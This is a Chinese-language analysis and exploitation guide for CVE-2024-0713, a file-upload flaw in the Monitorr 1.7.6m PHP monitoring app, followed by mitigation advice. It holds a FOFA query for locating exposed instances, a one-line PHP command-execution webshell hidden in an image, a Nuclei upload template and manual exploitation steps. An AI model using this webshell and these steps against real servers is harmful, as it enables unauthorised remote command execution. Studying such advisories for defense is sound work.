CVE-2024-0713 Monitorr 文件上传漏洞分析
字数 1016 2025-08-24 07:48:33

Monitorr 文件上传漏洞 (CVE-2024-0713) 分析与利用指南

漏洞概述

Monitorr 是一个自托管的 PHP 网络应用程序,用于监控本地和远程网络服务、网站和应用的状态。在 Monitorr 1.7.6m 版本中存在一个文件上传漏洞 (CVE-2024-0713),攻击者可以利用该漏洞上传 webshell 到目标系统,从而获取系统权限。

漏洞影响

  • 受影响产品: Monitorr
  • 受影响版本: 1.7.6m
  • 漏洞类型: 文件上传漏洞
  • 威胁等级: 高危

环境识别

可以使用以下方法识别存在漏洞的 Monitorr 实例:

  1. FOFA 查询:

    body="assets/php/timestamp.php"
    
  2. 手动识别:

    • 检查网站是否运行 Monitorr
    • 检查版本号是否为 1.7.6m 或更早

漏洞验证与利用

准备工作

  1. 创建测试图片:
    使用 Python 生成一个最小图片文件:

    from PIL import Image
    img = Image.new('RGB', (1, 1), color=(0, 0, 0))
    img.save('small.jpg', 'JPEG')
    
  2. 添加 webshell:
    在图片文件末尾添加 PHP webshell 代码,例如:

    <?php system($_GET['cmd']); ?>
    

利用方法

  1. 使用 Nuclei 自动化测试:

    id: poc
    info:
      name: 直接上传文件
      author: xxx
      severity: high
      description: 产品已经停止更新,影响全版本,直接文件上传
    http:
      - raw:
          - |
            POST /assets/php/upload.php HTTP/1.1
            Host: {{Hostname}}
            User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_4)
            Accept-Encoding: gzip, deflate
            Accept: */*
            Connection: close
            Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMmx988TUuintqO4Q
            Content-Length: 1194
    
            ------WebKitFormBoundaryMmx988TUuintqO4Q
            Content-Disposition: form-data; name="fileToUpload"; filename="info.php"
            Content-Type: image/jpeg
    
            ------WebKitFormBoundaryMmx988TUuintqO4Q--        
        unsafe: false
        cookie-reuse: false
        matchers-condition: or
        matchers:
          - type: word
            part: body
            words:
              - "usrimg/info.php"
            condition: or
    
  2. 手动利用:

    • 构造一个包含恶意 PHP 代码的图片文件
    • 通过 POST 请求发送到 /assets/php/upload.php
    • 上传成功后,webshell 通常位于 usrimg/ 目录下

漏洞分析

漏洞位于 assets/php/upload.php 文件中,关键问题如下:

  1. 缺乏严格验证:

    • 仅使用 getimagesize() 函数检查文件是否为图片
    • 不验证文件扩展名
    • 不验证文件内容是否真实为图片
  2. 攻击者可利用点:

    • 可以上传带有图片头的 PHP 文件
    • 可以修改文件扩展名为 .php
    • 可以绕过简单的图片验证

防御措施

由于该产品已经停止更新,建议采取以下措施:

  1. 立即措施:

    • 禁用或删除 upload.php 文件
    • 限制对 assets/php/ 目录的访问
  2. 长期措施:

    • 考虑迁移到其他维护中的监控解决方案
    • 如果必须使用 Monitorr,实施 Web 应用防火墙(WAF)规则阻止恶意文件上传
  3. 安全配置:

    • 配置服务器禁止执行上传目录中的 PHP 文件
    • 实施文件上传的白名单验证机制

总结

CVE-2024-0713 是一个高危的文件上传漏洞,允许攻击者在 Monitorr 1.7.6m 版本中上传任意文件,包括 webshell。由于该产品已停止维护,建议用户采取积极防御措施或迁移到其他解决方案。

Monitorr 文件上传漏洞 (CVE-2024-0713) 分析与利用指南 漏洞概述 Monitorr 是一个自托管的 PHP 网络应用程序,用于监控本地和远程网络服务、网站和应用的状态。在 Monitorr 1.7.6m 版本中存在一个文件上传漏洞 (CVE-2024-0713),攻击者可以利用该漏洞上传 webshell 到目标系统,从而获取系统权限。 漏洞影响 受影响产品 : Monitorr 受影响版本 : 1.7.6m 漏洞类型 : 文件上传漏洞 威胁等级 : 高危 环境识别 可以使用以下方法识别存在漏洞的 Monitorr 实例: FOFA 查询 : 手动识别 : 检查网站是否运行 Monitorr 检查版本号是否为 1.7.6m 或更早 漏洞验证与利用 准备工作 创建测试图片 : 使用 Python 生成一个最小图片文件: 添加 webshell : 在图片文件末尾添加 PHP webshell 代码,例如: 利用方法 使用 Nuclei 自动化测试 : 手动利用 : 构造一个包含恶意 PHP 代码的图片文件 通过 POST 请求发送到 /assets/php/upload.php 上传成功后,webshell 通常位于 usrimg/ 目录下 漏洞分析 漏洞位于 assets/php/upload.php 文件中,关键问题如下: 缺乏严格验证 : 仅使用 getimagesize() 函数检查文件是否为图片 不验证文件扩展名 不验证文件内容是否真实为图片 攻击者可利用点 : 可以上传带有图片头的 PHP 文件 可以修改文件扩展名为 .php 可以绕过简单的图片验证 防御措施 由于该产品已经停止更新,建议采取以下措施: 立即措施 : 禁用或删除 upload.php 文件 限制对 assets/php/ 目录的访问 长期措施 : 考虑迁移到其他维护中的监控解决方案 如果必须使用 Monitorr,实施 Web 应用防火墙(WAF)规则阻止恶意文件上传 安全配置 : 配置服务器禁止执行上传目录中的 PHP 文件 实施文件上传的白名单验证机制 总结 CVE-2024-0713 是一个高危的文件上传漏洞,允许攻击者在 Monitorr 1.7.6m 版本中上传任意文件,包括 webshell。由于该产品已停止维护,建议用户采取积极防御措施或迁移到其他解决方案。